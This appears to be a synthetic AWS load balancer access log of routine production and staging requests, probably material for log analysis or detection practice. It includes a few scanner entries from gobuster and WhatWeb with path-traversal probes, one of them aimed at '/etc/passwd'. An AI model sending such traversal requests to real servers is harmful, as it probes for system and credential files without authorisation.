TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1fe-5f175a724dff4ee4a799911f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:44:30.042631Z "forward" "-" "-" "10.0.42.27:443" "200" "-" "-" -https 2024-11-01T00:44:30.754293Z prod-web-alb 173.116.50.125:31914 10.0.206.77:443 0.002175 0.092425 0.097295 200 200 866 4016 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1fe-0ac9bcd8b49e43e1b0662761" "prod-web-alb.example.com" "-" 9 2024-11-01T00:44:30.754293Z "forward" "-" "-" "10.0.206.77:443" "200" "-" "-" -https 2024-11-01T00:44:31.929475Z prod-web-alb 153.152.96.78:44600 10.0.15.231:443 0.075441 0.187793 0.088286 301 301 964 8649 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1ff-7ecac35620164fc09b6aae17" "prod-web-alb.example.com" "-" 6 2024-11-01T00:44:31.929475Z "forward" "-" "-" "10.0.15.231:443" "301" "-" "-" -https 2024-11-01T00:44:32.458961Z prod-api-alb 172.160.159.114:51326 10.0.231.113:443 0.087536 0.048505 0.029569 302 302 848 11755 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c200-d8eaf6f3c1584db3a9a38cae" "prod-api-alb.example.com" "-" 1 2024-11-01T00:44:32.458961Z "forward" "-" "-" "10.0.231.113:443" "302" "-" "-" -https 2024-11-01T00:44:34.323083Z prod-api-alb 138.96.208.7:14403 10.0.112.81:443 0.096387 0.211360 0.024400 301 301 12 3549 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c202-44ece2153579405ea5c3e7cb" "prod-api-alb.example.com" "-" 10 2024-11-01T00:44:34.323083Z "forward" "-" "-" "10.0.112.81:443" "301" "-" "-" -http 2024-11-01T00:44:35.246855Z staging-alb 125.172.193.77:57720 135.57.141.136:80 0.140464 0.594563 0.113473 200 200 921 1896 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c203-efbea0bb29c34a909461aa01" "staging-alb.example.com" "-" 7 2024-11-01T00:44:35.246855Z "forward" "-" "-" "135.57.141.136:80" "200" "-" "-" -http 2024-11-01T00:44:37.039012Z staging-alb 109.129.131.41:38989 144.156.145.154:8080 0.016046 0.558560 0.017303 200 200 378 8408 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c205-5fc9da3cd1e74d6a82ba1d98" "staging-alb.example.com" "-" 3 2024-11-01T00:44:37.039012Z "forward" "-" "-" "144.156.145.154:8080" "200" "-" "-" -https 2024-11-01T00:44:37.222921Z prod-web-alb 96.151.144.176:29518 10.0.138.127:443 0.003727 0.024691 0.010278 302 302 268 2156 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c205-25dcabd8f8f9475c8ef5493a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:44:37.222921Z "forward" "-" "-" "10.0.138.127:443" "302" "-" "-" -https 2024-11-01T00:44:38.907067Z prod-api-alb 226.55.216.20:61426 10.0.220.17:443 0.011329 0.440264 0.015387 200 200 284 14483 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c206-fcc85d3b22a149f29742fc10" "prod-api-alb.example.com" "-" 8 2024-11-01T00:44:38.907067Z "forward" "-" "-" "10.0.220.17:443" "200" "-" "-" -http 2024-11-01T00:44:39.145293Z staging-alb 40.115.112.153:43167 81.156.73.34:8080 0.142966 0.645065 0.077375 200 200 434 202 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c207-76fbf29649bc4e4dbbf53b83" "staging-alb.example.com" "-" 8 2024-11-01T00:44:39.145293Z "forward" "-" "-" "81.156.73.34:8080" "200" "-" "-" -https 2024-11-01T00:44:39.558589Z prod-api-alb 57.245.191.163:50084 10.0.253.125:443 0.024179 0.376673 0.047536 200 200 217 5605 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c207-4b3e73b8199d4e328ef6b295" "prod-api-alb.example.com" "-" 6 2024-11-01T00:44:39.558589Z "forward" "-" "-" "10.0.253.125:443" "200" "-" "-" -https 2024-11-01T00:44:40.957827Z prod-web-alb 187.112.129.81:18015 10.0.108.214:443 0.096275 0.223062 0.072075 301 301 648 4739 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c208-19bacf02492345218e350c58" "prod-web-alb.example.com" "-" 4 2024-11-01T00:44:40.957827Z "forward" "-" "-" "10.0.108.214:443" "301" "-" "-" -https 2024-11-01T00:44:41.571771Z staging-alb 226.234.147.152:44999 163.173.27.109:8080 0.089604 0.259354 0.099831 200 200 37 9396 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c209-c42a3f83eb564c47af51d9c0" "staging-alb.example.com" "-" 4 2024-11-01T00:44:41.571771Z "forward" "-" "-" "163.173.27.109:8080" "200" "-" "-" -https 2024-11-01T00:44:43.093164Z prod-api-alb 168.95.188.36:47043 10.0.42.62:443 0.027594 0.418401 0.014375 200 200 355 5656 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c20b-5d29a3c6084840d2af616be3" "prod-api-alb.example.com" "-" 8 2024-11-01T00:44:43.093164Z "forward" "-" "-" "10.0.42.62:443" "200" "-" "-" -http 2024-11-01T00:44:44.011016Z staging-alb 108.88.45.15:35530 103.63.196.120:80 0.137329 0.363644 0.079080 301 301 973 285 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c20c-b92932ea79f74b0bb073e5d1" "staging-alb.example.com" "-" 10 2024-11-01T00:44:44.011016Z "forward" "-" "-" "103.63.196.120:80" "301" "-" "-" -https 2024-11-01T00:44:45.811889Z prod-api-alb 219.254.46.152:59025 10.0.224.122:443 0.098976 0.013085 0.082673 200 200 741 8051 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c20d-a1db1ef07b88450696e21a90" "prod-api-alb.example.com" "-" 2 2024-11-01T00:44:45.811889Z "forward" "-" "-" "10.0.224.122:443" "200" "-" "-" -https 2024-11-01T00:44:47.174315Z prod-web-alb 76.247.32.131:11563 10.0.236.110:443 0.031679 0.197931 0.037795 302 302 227 7699 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c20f-226a9a88c8a640b7acf724bd" "prod-web-alb.example.com" "-" 2 2024-11-01T00:44:47.174315Z "forward" "-" "-" "10.0.236.110:443" "302" "-" "-" -https 2024-11-01T00:44:47.364114Z prod-web-alb 143.127.70.48:20083 10.0.75.3:443 0.009605 0.160370 0.004081 200 200 699 4935 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c20f-f7a19e8207794e14b04e3718" "prod-web-alb.example.com" "-" 3 2024-11-01T00:44:47.364114Z "forward" "-" "-" "10.0.75.3:443" "200" "-" "-" -https 2024-11-01T00:44:47.972272Z prod-api-alb 50.71.194.91:18362 10.0.118.166:443 0.036377 0.489692 0.031551 404 404 0 10356 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c20f-e31e4cc404ca4d2fba63148e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:44:47.972272Z "forward" "-" "-" "10.0.118.166:443" "404" "-" "-" -https 2024-11-01T00:44:48.805148Z prod-web-alb 192.109.225.194:18647 10.0.10.131:443 0.046558 0.231122 0.035276 200 200 105 5042 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c210-59042b06e3634612a19bf84c" "prod-web-alb.example.com" "-" 1 2024-11-01T00:44:48.805148Z "forward" "-" "-" "10.0.10.131:443" "200" "-" "-" -https 2024-11-01T00:44:49.494582Z staging-alb 193.27.228.48:33816 114.209.29.212:80 0.142410 0.470388 0.134149 301 301 169 789 "GET /config.php~ HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c211-4b9f4284292345d7a06876ef" "-" "-" 0 2024-11-01T00:44:49.494582Z "forward" "-" "-" "114.209.29.212:80" "301" "-" "-" -https 2024-11-01T00:44:50.580478Z prod-web-alb 102.112.141.104:48466 10.0.53.206:443 0.018877 0.105208 0.074982 301 301 591 4750 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c212-5b8023d564f549cb94e56db0" "prod-web-alb.example.com" "-" 4 2024-11-01T00:44:50.580478Z "forward" "-" "-" "10.0.53.206:443" "301" "-" "-" -https 2024-11-01T00:44:51.246409Z prod-web-alb 185.12.204.98:50219 10.0.50.242:443 0.041944 0.395143 0.014859 404 404 154 12265 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c213-e96c5749e95b4db58fdc4d9d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:44:51.246409Z "forward" "-" "-" "10.0.50.242:443" "404" "-" "-" -http 2024-11-01T00:44:52.187995Z staging-alb 250.41.249.125:60333 131.22.222.50:80 0.122069 0.424851 0.082261 200 200 741 7388 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c214-d6be2390aca54c24972c302c" "staging-alb.example.com" "-" 10 2024-11-01T00:44:52.187995Z "forward" "-" "-" "131.22.222.50:80" "200" "-" "-" -https 2024-11-01T00:44:53.830139Z staging-alb 51.203.35.183:18597 110.105.189.251:443 0.087560 0.160491 0.091389 302 302 879 10511 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c215-9cf24099838c4a6192bc9824" "staging-alb.example.com" "-" 8 2024-11-01T00:44:53.830139Z "forward" "-" "-" "110.105.189.251:443" "302" "-" "-" -https 2024-11-01T00:44:55.449466Z prod-api-alb 210.39.55.252:24216 10.0.83.89:443 0.006945 0.328841 0.078420 200 200 254 7618 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c217-e6233970e50c4063925d8f11" "prod-api-alb.example.com" "-" 5 2024-11-01T00:44:55.449466Z "forward" "-" "-" "10.0.83.89:443" "200" "-" "-" -https 2024-11-01T00:44:56.997180Z staging-alb 245.121.21.159:35067 188.186.227.111:8080 0.006361 0.331817 0.062366 301 301 430 2699 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c218-f69255d8fb914440b07d9f81" "staging-alb.example.com" "-" 3 2024-11-01T00:44:56.997180Z "forward" "-" "-" "188.186.227.111:8080" "301" "-" "-" -https 2024-11-01T00:44:58.308745Z prod-api-alb 189.22.1.142:10199 10.0.69.173:443 0.057960 0.148033 0.081310 200 200 733 1388 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c21a-e6164be4401e4613adb5c30d" "prod-api-alb.example.com" "-" 1 2024-11-01T00:44:58.308745Z "forward" "-" "-" "10.0.69.173:443" "200" "-" "-" -https 2024-11-01T00:44:59.430714Z prod-web-alb 80.237.196.27:34238 10.0.225.255:443 0.025479 0.103022 0.014753 200 200 409 9210 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c21b-2ec5fc1f1a4344bca53f5b01" "prod-web-alb.example.com" "-" 10 2024-11-01T00:44:59.430714Z "forward" "-" "-" "10.0.225.255:443" "200" "-" "-" -https 2024-11-01T00:45:00.104172Z prod-web-alb 15.96.43.223:21779 10.0.147.220:443 0.035104 0.253518 0.068332 200 200 982 4433 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c21c-edc7f9b927444e1da1c870cc" "prod-web-alb.example.com" "-" 0 2024-11-01T00:45:00.104172Z "forward" "-" "-" "10.0.147.220:443" "200" "-" "-" -https 2024-11-01T00:45:00.327426Z prod-web-alb 172.178.3.89:54640 10.0.38.20:443 0.080479 0.348980 0.042545 200 200 499 9803 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c21c-1f40cc21701a4376ab3f5915" "prod-web-alb.example.com" "-" 2 2024-11-01T00:45:00.327426Z "forward" "-" "-" "10.0.38.20:443" "200" "-" "-" -https 2024-11-01T00:45:01.666419Z prod-web-alb 224.98.93.134:24297 10.0.151.43:443 0.020592 0.199771 0.032704 200 200 347 12702 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c21d-2f271fd413c84b49b2db0bcb" "prod-web-alb.example.com" "-" 6 2024-11-01T00:45:01.666419Z "forward" "-" "-" "10.0.151.43:443" "200" "-" "-" -http 2024-11-01T00:45:02.933567Z staging-alb 59.123.13.180:27769 232.72.39.238:80 0.149536 0.221195 0.137469 301 301 970 6259 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c21e-a2671f33bc8d4d929abf721e" "staging-alb.example.com" "-" 1 2024-11-01T00:45:02.933567Z "forward" "-" "-" "232.72.39.238:80" "301" "-" "-" -https 2024-11-01T00:45:03.939986Z prod-api-alb 46.215.117.145:63479 10.0.45.96:443 0.092505 0.226689 0.052534 200 200 373 497 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c21f-a4b70a5aee52489e91e6674d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:45:03.939986Z "forward" "-" "-" "10.0.45.96:443" "200" "-" "-" -https 2024-11-01T00:45:05.785595Z prod-api-alb 227.236.147.17:61944 10.0.65.238:443 0.045978 0.459530 0.019134 200 200 0 14610 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c221-4d7f2c13e4cb4788b0af6484" "-" "-" 9 2024-11-01T00:45:05.785595Z "forward" "-" "-" "10.0.65.238:443" "200" "-" "-" -https 2024-11-01T00:45:06.435597Z prod-web-alb 246.214.172.32:63146 10.0.226.218:443 0.090919 0.004870 0.014756 301 301 462 14395 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c222-4a6b60685c104c1b852652d4" "-" "-" 2 2024-11-01T00:45:06.435597Z "forward" "-" "-" "10.0.226.218:443" "301" "-" "-" -https 2024-11-01T00:45:07.641489Z prod-web-alb 72.131.242.181:11134 10.0.130.61:443 0.037456 0.143684 0.059460 301 301 494 9366 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c223-7dfd739d02ec4c26a7e6c2b4" "prod-web-alb.example.com" "-" 6 2024-11-01T00:45:07.641489Z "forward" "-" "-" "10.0.130.61:443" "301" "-" "-" -https 2024-11-01T00:45:08.999005Z prod-web-alb 36.222.248.226:48915 10.0.123.185:443 0.003902 0.156023 0.053820 200 200 27 14414 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c224-63bec83ce49344868a0e2e5e" "prod-web-alb.example.com" "-" 9 2024-11-01T00:45:08.999005Z "forward" "-" "-" "10.0.123.185:443" "200" "-" "-" -https 2024-11-01T00:45:10.443013Z staging-alb 134.59.47.227:33511 206.25.64.85:443 0.043657 0.052560 0.102198 200 200 141 8730 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c226-e11411fc2bfe4fa5969cddf3" "staging-alb.example.com" "-" 5 2024-11-01T00:45:10.443013Z "forward" "-" "-" "206.25.64.85:443" "200" "-" "-" -https 2024-11-01T00:45:11.412266Z prod-web-alb 77.111.120.34:11763 10.0.159.195:443 0.001405 0.446204 0.003416 301 301 396 3022 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c227-4c8cd398bc174bb0b7452c31" "prod-web-alb.example.com" "-" 1 2024-11-01T00:45:11.412266Z "forward" "-" "-" "10.0.159.195:443" "301" "-" "-" -https 2024-11-01T00:45:12.855098Z prod-web-alb 180.65.29.102:16288 10.0.212.34:443 0.049182 0.006635 0.091703 200 200 44 11039 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c228-8965373e258f4890b1237a94" "prod-web-alb.example.com" "-" 1 2024-11-01T00:45:12.855098Z "forward" "-" "-" "10.0.212.34:443" "200" "-" "-" -https 2024-11-01T00:45:13.947449Z prod-api-alb 18.215.191.32:44364 10.0.253.246:443 0.079794 0.026310 0.018288 301 301 502 10345 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c229-41affbf5ab0f443187f5b452" "prod-api-alb.example.com" "-" 3 2024-11-01T00:45:13.947449Z "forward" "-" "-" "10.0.253.246:443" "301" "-" "-" -http 2024-11-01T00:45:15.800996Z staging-alb 45.155.205.141:44126 111.127.147.156:443 0.102710 0.632736 0.102104 404 404 851 565 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c22b-9e4bf0696148411a9a814a14" "-" "-" 4 2024-11-01T00:45:15.800996Z "forward" "-" "-" "111.127.147.156:443" "404" "-" "-" -https 2024-11-01T00:45:16.442082Z prod-web-alb 191.182.175.77:29065 10.0.255.173:443 0.034059 0.473626 0.095763 301 301 642 14132 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c22c-171ed18cda5343ff90fa7d4d" "-" "-" 1 2024-11-01T00:45:16.442082Z "forward" "-" "-" "10.0.255.173:443" "301" "-" "-" -https 2024-11-01T00:45:17.386278Z staging-alb 81.197.26.9:50091 220.132.211.1:8080 0.130120 0.057415 0.005265 200 200 786 8779 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c22d-9c67dcace7b2468a9dec5cf5" "staging-alb.example.com" "-" 5 2024-11-01T00:45:17.386278Z "forward" "-" "-" "220.132.211.1:8080" "200" "-" "-" -https 2024-11-01T00:45:18.631021Z prod-web-alb 118.148.8.26:21368 10.0.125.11:443 0.091741 0.098609 0.017385 404 404 84 3607 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c22e-3b04d3a2619141b2b3ca1043" "prod-web-alb.example.com" "-" 0 2024-11-01T00:45:18.631021Z "forward" "-" "-" "10.0.125.11:443" "404" "-" "-" -https 2024-11-01T00:45:20.449389Z prod-web-alb 185.181.51.36:54602 10.0.20.185:443 0.026503 0.077699 0.086130 404 404 369 10448 "GET /../../../etc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c230-41c0272b8cfd43a1867a8910" "-" "-" 4 2024-11-01T00:45:20.449389Z "forward" "-" "-" "10.0.20.185:443" "404" "-" "-" -http 2024-11-01T00:45:21.213758Z staging-alb 198.177.201.196:64063 56.146.24.63:80 0.123734 0.361043 0.016972 200 200 339 10499 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c231-ebc9a09b72804277b8d86a82" "staging-alb.example.com" "-" 2 2024-11-01T00:45:21.213758Z "forward" "-" "-" "56.146.24.63:80" "200" "-" "-" -https 2024-11-01T00:45:21.771425Z prod-api-alb 160.29.248.62:32383 10.0.29.18:443 0.039706 0.033717 0.069537 200 200 305 6303 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c231-ab334fa719c04973b8516a07" "prod-api-alb.example.com" "-" 1 2024-11-01T00:45:21.771425Z "forward" "-" "-" "10.0.29.18:443" "200" "-" "-" -https 